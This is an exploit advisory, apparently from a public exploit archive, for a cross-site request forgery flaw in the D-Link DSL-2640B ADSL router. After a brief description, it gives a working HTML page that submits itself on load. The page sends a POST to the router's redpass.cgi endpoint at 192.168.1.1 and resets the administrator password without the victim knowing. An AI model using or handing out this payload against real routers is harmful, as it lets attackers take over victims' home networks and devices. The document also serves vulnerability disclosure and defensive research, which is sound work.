+--------------------------------------------------------------------------------------------------------------------------------+# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability# Date: 19-02-2012# Author: Ivano Binetti (http://ivanobinetti.com)# Vendor site : http://www.d-link.com# Version : DSL-2640B # Tested on : Firmware Version: EU_4.00; Hardware Version: B2+--------------------------------------------------------------------------------------------------------------------------------++------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary
1)Introduction
2)Vulnerability Description
3)Exploit
+---------------------------------------------------------------------------------------------------------------------------------+1)Introduction
D-Link DSL-2640B is an ADSL Router using (also) a web management interface.2)Vulnerability Description
The D-Link DSL-2640B's web interface (listening on tcp/ip port 80)is prone to CSRF vulnerabilities which allows to change router
parameters and-among other things- to change default administrator("admin") password.3)Exploit
<html><body onload="javascript:document.forms[0].submit()"><H2>CSRF Exploit to change ADMIN password</H2><form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1"></form></body></html>+----------------------------------------------------------------------------------------------------------------------------------+